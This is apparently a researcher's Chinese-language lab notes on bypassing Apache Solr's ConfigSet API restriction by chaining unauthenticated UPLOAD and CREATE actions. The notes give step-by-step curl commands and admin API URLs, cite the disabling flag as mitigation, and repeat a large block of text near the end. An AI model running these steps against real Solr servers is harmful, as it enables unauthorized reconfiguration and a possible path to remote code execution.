本來Solr禁止一些可能造成RCE的危險操作通過ConfigSet這個API上傳進行設定。但是可以通過結合UPLOAD/CREATE這兩個ACTION來繞過這一限制。
原文
Solr prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that’s uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.
上傳功能預設開啟,除非指定JVM引數:
-Dconfigset.upload.enabled=false
正常的通過UPLOAD傳上去的configset,是不能用於建立collection的: 如果嘗試建立,會出現這個錯誤
The configset for this collection was uploaded without any authentication in place, and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset after enabling authentication and authorization.
而當我們先UPLOAD,然後基於這個configset,去CREATE一個collection,就可以繞過這個限制:
達到的效果是可以自定義configset,然後基於此建立惡意collection。目前沒想到如何利用好這個自定義的設定實現RCE。只知道用之前的模板注入,不過那個有版本限制吧?
1、【UPLOAD】準備惡意設定,打包,上傳
# 先將設定打包成zip
(cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > db-configset.zip
# 再通過上傳API將zip上傳
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @db-configset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=db-configset"
2、【CREATE】根據UPLOAD的設定,建立一個新的設定,繞過不能通過直接UPLOAD建立collection的限制
/solr/admin/configs?action=CREATE&name=db-configset1&baseConfigSet=db-configset&configSetProp.immutable=false&wt=xml&omitHeader=true
3、【LIST】檢視Configsets的設定,確保已生成了新的configset
/solr/admin/configs?action=LIST&omitHeader=true
4、根據CREATE得到的configset建立惡意collection
/solr/admin/collections?action=CREATE&numShards=1&name=coll_test1&collection.configName=db-configset1
5、利用之前的漏洞進行利用?
-Dconfigset.upload.enabled=false
;參考:
http://mail-archives.apache.org/mod_mbox/lucene-solr-user/201807.mbox/%3CCAPCX2-+jojXrWvPSPiBR_xwphdpk+yPM2HYLojX2rqRTKMGm9g@mail.gmail.com%3E
Solr可以執行在兩種模式:「Cloud」 mode or 「Standalone」 mode。
SolrCloud mode下,可以建立collections,而在Standalone mode下,只能建立core。
在Standalone mode下會出現400,
關閉,重新啟動SolrCloud mode:
這次成功了:
# 先將設定打包成zip
(cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > myconfigset.zip
# 再通過上傳API將zip上傳
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"
基於之前上傳的Configsets建立一個新的configset
http://cqq.com:8983/solr/admin/configs?action=CREATE&name=myConfigSet1&baseConfigSet=myConfigSet&configSetProp.immutable=false&wt=xml&omitHeader=true
http://cqq.com:8983/solr/admin/configs?action=LIST&omitHeader=true
上傳、以及設定後的Configsets並不在檔案系統中,而是在Zookeeper中。
The Configsets API enables you to upload new configsets to ZooKeeper, create, and delete configsets when Solr is running SolrCloud mode.
This API provides a way to upload configuration files to ZooKeeper and share the same set of configuration files between two or more collections.
-Dconfigset.upload.enabled=false
;參考:
http://mail-archives.apache.org/mod_mbox/lucene-solr-user/201807.mbox/%3CCAPCX2-+jojXrWvPSPiBR_xwphdpk+yPM2HYLojX2rqRTKMGm9g@mail.gmail.com%3E
Solr可以執行在兩種模式:「Cloud」 mode or 「Standalone」 mode。
SolrCloud mode下,可以建立collections,而在Standalone mode下,只能建立core。
在Standalone mode下會出現400,
關閉,重新啟動SolrCloud mode:
這次成功了: